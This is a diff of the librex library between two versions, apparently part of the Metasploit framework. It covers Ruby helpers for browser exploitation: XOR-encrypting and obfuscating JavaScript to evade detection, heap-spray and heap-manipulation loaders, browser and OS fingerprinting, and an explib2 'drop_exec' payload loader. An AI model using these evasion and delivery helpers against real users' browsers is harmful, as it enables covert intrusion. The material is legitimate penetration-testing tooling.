librex 0.0.68 → 0.0.70

data/lib/rex/exploitation/encryptjs.rb

@@ -6,71 +6,71 @@ module Exploitation
 # Encrypts javascript code
 #
 class EncryptJS
-	#
-	# Encrypts a javascript string.
-	#
-	# Encrypts a javascript string via XOR using a given key.
-	# The key must be passed to the executed javascript
-	# so that it can decrypt itself.
-	# The provided loader gets the key from
-	# "location.search.substring(1)"
-	#
-	# This should bypass any detection of the file itself
-	# as information not part of the file is needed to
-	# decrypt the original javascript code.
-	#
-	# Example:
-	# <code>
-	# js = <<ENDJS
-	#     function say_hi() {
-	#         var foo = "Hello, world";
-	#         document.writeln(foo);
-	#     }
-	# ENDJS
-	# key = 'secret'
-	# js_encrypted = EncryptJS.encrypt(js, key)
-	# </code>
-	#
-	# You might use something like this in exploit
-	# modules to pass the key to the javascript
-	# <code>
-	# if (!request.uri.match(/\?\w+/))
-	#	  send_local_redirect(cli, "?#{@key}")
-	#	  return
-	# end
-	# </code>
-	#
+  #
+  # Encrypts a javascript string.
+  #
+  # Encrypts a javascript string via XOR using a given key.
+  # The key must be passed to the executed javascript
+  # so that it can decrypt itself.
+  # The provided loader gets the key from
+  # "location.search.substring(1)"
+  #
+  # This should bypass any detection of the file itself
+  # as information not part of the file is needed to
+  # decrypt the original javascript code.
+  #
+  # Example:
+  # <code>
+  # js = <<ENDJS
+  #     function say_hi() {
+  #         var foo = "Hello, world";
+  #         document.writeln(foo);
+  #     }
+  # ENDJS
+  # key = 'secret'
+  # js_encrypted = EncryptJS.encrypt(js, key)
+  # </code>
+  #
+  # You might use something like this in exploit
+  # modules to pass the key to the javascript
+  # <code>
+  # if (!request.uri.match(/\?\w+/))
+  #	  send_local_redirect(cli, "?#{@key}")
+  #	  return
+  # end
+  # </code>
+  #
 
-	def self.encrypt(js, key)
-		js.gsub!(/[\r\n]/, '')
+  def self.encrypt(js, key)
+    js.gsub!(/[\r\n]/, '')
 
-		encoded = Rex::Encoding::Xor::Generic.encode(js, key)[0].unpack("H*")[0]
+    encoded = Rex::Encoding::Xor::Generic.encode(js, key)[0].unpack("H*")[0]
 
-		# obfuscate the eval call to circumvent generic detection
-		eval = 'eval'.split(//).join(Rex::Text.rand_text_alpha(rand(5)).upcase)
-		eval_call = 'window["' + eval + '".replace(/[A-Z]/g,"")]'
+    # obfuscate the eval call to circumvent generic detection
+    eval = 'eval'.split(//).join(Rex::Text.rand_text_alpha(rand(5)).upcase)
+    eval_call = 'window["' + eval + '".replace(/[A-Z]/g,"")]'
 
-		js_loader = Rex::Exploitation::ObfuscateJS.new <<-ENDJS
-		var exploit = '#{encoded}';
-		var encoded = '';
-		for (i = 0;i<exploit.length;i+=2) {
-			encoded += String.fromCharCode(parseInt(exploit.substring(i, i+2), 16));
-		}
-		var pass = location.search.substring(1);
-		var decoded = '';
-		for (i=0;i<encoded.length;i++) {
-			decoded += String.fromCharCode(encoded.charCodeAt(i) ^ pass.charCodeAt(i%pass.length));
-		}
-		#{eval_call}(decoded);
-		ENDJS
+    js_loader = Rex::Exploitation::ObfuscateJS.new <<-ENDJS
+    var exploit = '#{encoded}';
+    var encoded = '';
+    for (i = 0;i<exploit.length;i+=2) {
+      encoded += String.fromCharCode(parseInt(exploit.substring(i, i+2), 16));
+    }
+    var pass = location.search.substring(1);
+    var decoded = '';
+    for (i=0;i<encoded.length;i++) {
+      decoded += String.fromCharCode(encoded.charCodeAt(i) ^ pass.charCodeAt(i%pass.length));
+    }
+    #{eval_call}(decoded);
+    ENDJS
 
-		js_loader.obfuscate(
-			'Symbols' => {
-				'Variables' => [ 'exploit', 'encoded', 'pass', 'decoded' ],
-			},
-			'Strings' => false
-		)
-	end
+    js_loader.obfuscate(
+      'Symbols' => {
+        'Variables' => [ 'exploit', 'encoded', 'pass', 'decoded' ],
+      },
+      'Strings' => false
+    )
+  end
 
 end
 

data/lib/rex/exploitation/heaplib.rb

@@ -12,93 +12,93 @@ module Exploitation
 #
 class HeapLib
 
-	#
-	# The source file to load the javascript from
-	#
-	JavascriptFile = File.join(File.dirname(__FILE__), "heaplib.js.b64")
+  #
+  # The source file to load the javascript from
+  #
+  JavascriptFile = File.join(File.dirname(__FILE__), "heaplib.js.b64")
 
-	#
-	# The list of symbols found in the file.  This is used to dynamically
-	# replace contents.
-	#
-	SymbolNames =
-		{
-			"Methods" =>
-				[
-					"vtable",
-					"lookasideAddr",
-					"lookaside",
-					"freeList",
-					"gc",
-					"flushOleaut32",
-					"freeOleaut32",
-					"allocOleaut32",
-					"free",
-					"alloc",
-					"addr",
-					"hex",
-					"round",
-					"paddingStr",
-					"padding",
-					"debugBreak",
-					"debugHeap",
-					"debug",
-				],
-			"Classes" =>
-				[
-					{ 'Namespace' => "heapLib", 'Class' => "ie" }
-				],
-			"Namespaces" =>
-				[
-					"heapLib"
-				]
-		}
+  #
+  # The list of symbols found in the file.  This is used to dynamically
+  # replace contents.
+  #
+  SymbolNames =
+    {
+      "Methods" =>
+        [
+          "vtable",
+          "lookasideAddr",
+          "lookaside",
+          "freeList",
+          "gc",
+          "flushOleaut32",
+          "freeOleaut32",
+          "allocOleaut32",
+          "free",
+          "alloc",
+          "addr",
+          "hex",
+          "round",
+          "paddingStr",
+          "padding",
+          "debugBreak",
+          "debugHeap",
+          "debug",
+        ],
+      "Classes" =>
+        [
+          { 'Namespace' => "heapLib", 'Class' => "ie" }
+        ],
+      "Namespaces" =>
+        [
+          "heapLib"
+        ]
+    }
 
-	#
-	# Initializes the heap library javascript
-	#
-	def initialize(custom_js = '', opts = {})
-		load_js(custom_js, opts)
-	end
+  #
+  # Initializes the heap library javascript
+  #
+  def initialize(custom_js = '', opts = {})
+    load_js(custom_js, opts)
+  end
 
-	#
-	# Return the replaced version of the javascript
-	#
-	def to_s
-		@js
-	end
+  #
+  # Return the replaced version of the javascript
+  #
+  def to_s
+    @js
+  end
 
 protected
 
-	#
-	# Loads the raw javascript from the source file and strips out comments
-	#
-	def load_js(custom_js, opts = {})
+  #
+  # Loads the raw javascript from the source file and strips out comments
+  #
+  def load_js(custom_js, opts = {})
 
-		# Grab the complete javascript
-		File.open(JavascriptFile) do |f|
-			@js = f.read
-		end
+    # Grab the complete javascript
+    File.open(JavascriptFile) do |f|
+      @js = f.read
+    end
 
-		# Decode the text
-		@js = Rex::Text.decode_base64(@js)
+    # Decode the text
+    @js = Rex::Text.decode_base64(@js)
 
-		# Append the real code
-		@js += "\n" + custom_js
+    # Append the real code
+    @js += "\n" + custom_js
 
-		if opts[:newobfu]
-			# Obfuscate the javascript using the new lexer method
-			@js = JSObfu.new(@js)
-			return @js.obfuscate
-		elsif opts[:noobfu]
-			# Do not obfuscate, let the exploit do the work (useful to avoid double obfuscation)
-			return @js
-		end
+    if opts[:newobfu]
+      # Obfuscate the javascript using the new lexer method
+      @js = JSObfu.new(@js)
+      return @js.obfuscate
+    elsif opts[:noobfu]
+      # Do not obfuscate, let the exploit do the work (useful to avoid double obfuscation)
+      return @js
+    end
 
-		# Default to the old method
-		# Obfuscate the javascript using the old method
-		@js = ObfuscateJS.obfuscate(@js, 'Symbols' => SymbolNames)
-	end
+    # Default to the old method
+    # Obfuscate the javascript using the old method
+    @js = ObfuscateJS.obfuscate(@js, 'Symbols' => SymbolNames)
+  end
 end
 
 end

data/lib/rex/exploitation/js.rb

@@ -0,0 +1,6 @@
+# -*- coding: binary -*-
+
+require 'rex/exploitation/js/memory'
+require 'rex/exploitation/js/network'
+require 'rex/exploitation/js/utils'
+require 'rex/exploitation/js/detect'

data/lib/rex/exploitation/js/detect.rb

@@ -0,0 +1,69 @@
+# -*- coding: binary -*-
+
+require 'msf/core'
+require 'rex/text'
+require 'rex/exploitation/jsobfu'
+
+module Rex
+module Exploitation
+module Js
+
+
+class Detect
+
+  #
+  # Provides several javascript functions for determining the OS and browser versions of a client.
+  #
+  # getVersion():  returns an object with the following properties
+  # os_name      -  OS name, one of the Msf::OperatingSystems constants
+  # os_flavor    -  OS flavor as a string (e.g.: "XP", "2000")
+  # os_sp        -  OS service pack (e.g.: "SP2", will be empty on non-Windows)
+  # os_lang      -  OS language (e.g.: "en-us")
+  # ua_name      -  Client name, one of the Msf::HttpClients constants
+  # ua_version   -  Client version as a string (e.g.: "3.5.1", "6.0;SP2")
+  # arch         -  Architecture, one of the ARCH_* constants
+  #
+  # The following functions work on the version returned in obj.ua_version
+  #
+  # ua_ver_cmp(a, b): returns -1, 0, or 1 based on whether a < b, a == b, or a > b respectively
+  # ua_ver_lt(a, b):  returns true if a < b
+  # ua_ver_gt(a, b):  returns true if a > b
+  # ua_ver_eq(a, b):  returns true if a == b
+  #
+  def self.os(custom_js = '')
+    js  = custom_js
+    js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "os.js"))
+
+    Rex::Exploitation::JSObfu.new(js)
+  end
+
+
+  #
+  # Provides javascript functions to determine IE addon information.
+  #
+  # getMsOfficeVersion(): Returns the version for Microsoft Office
+  #
+  def self.ie_addons(custom_js = '')
+    js  = custom_js
+    js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "ie_addons.js"))
+
+    Rex::Exploitation::JSObfu.new(js)
+  end
+
+  #
+  # Provides javascript functions that work for all browsers to determine addon information
+  #
+  # getJavaVersion(): Returns the Java version
+  # hasSilverlight(): Returns whether Silverlight is enabled or not
+  #
+  def self.misc_addons(custom_js = '')
+    js  = custom_js
+    js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "misc_addons.js"))
+
+    Rex::Exploitation::JSObfu.new(js)
+  end
+
+end
+end
+end
+end

data/lib/rex/exploitation/js/memory.rb

@@ -0,0 +1,81 @@
+# -*- coding: binary -*-
+
+require 'msf/core'
+
+module Rex
+module Exploitation
+module Js
+
+#
+# Provides meomry manipulative functions in JavaScript
+#
+class Memory
+
+  def self.mstime_malloc
+    js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "mstime_malloc.js"))
+    js = js.gsub(/W00TA/, Rex::Text.rand_text_hex(6))
+    js = js.gsub(/W00TB/, Rex::Text.rand_text_hex(5))
+
+    ::Rex::Exploitation::ObfuscateJS.new(js,
+      {
+        'Symbols' => {
+          'Variables' => %w{ buf eleId acTag }
+        }
+      }).obfuscate
+  end
+
+  def self.heaplib2(custom_js='', opts={})
+    js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "heaplib2.js"))
+
+    unless custom_js.blank?
+      js << custom_js
+    end
+
+    js = ::Rex::Exploitation::JSObfu.new js
+    js.obfuscate
+    return js
+  end
+
+  def self.property_spray
+    js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "property_spray.js"))
+
+    ::Rex::Exploitation::ObfuscateJS.new(js,
+      {
+        'Symbols' => {
+          'Variables' => %w{ sym_div_container data junk obj }
+        }
+      }).obfuscate
+  end
+
+  def self.heap_spray
+    js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "heap_spray.js"))
+
+    ::Rex::Exploitation::ObfuscateJS.new(js,
+      {
+        'Symbols' => {
+          'Variables' => %w{ index heapSprayAddr_hi heapSprayAddr_lo retSlide heapBlockCnt }
+        }
+      }).obfuscate
+  end
+
+  def self.explib2
+    js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "lib", "explib2.js"))
+
+    ::Rex::Exploitation::ObfuscateJS.obfuscate(js)
+  end
+
+  def self.explib2_payload(payload="exec")
+    case payload
+    when "drop_exec"
+      js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "payload", "drop_exec.js"))
+    else # "exec"
+      js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "payload", "exec.js"))
+    end
+
+    ::Rex::Exploitation::ObfuscateJS.obfuscate(js)
+  end
+
+end
+end
+end
+end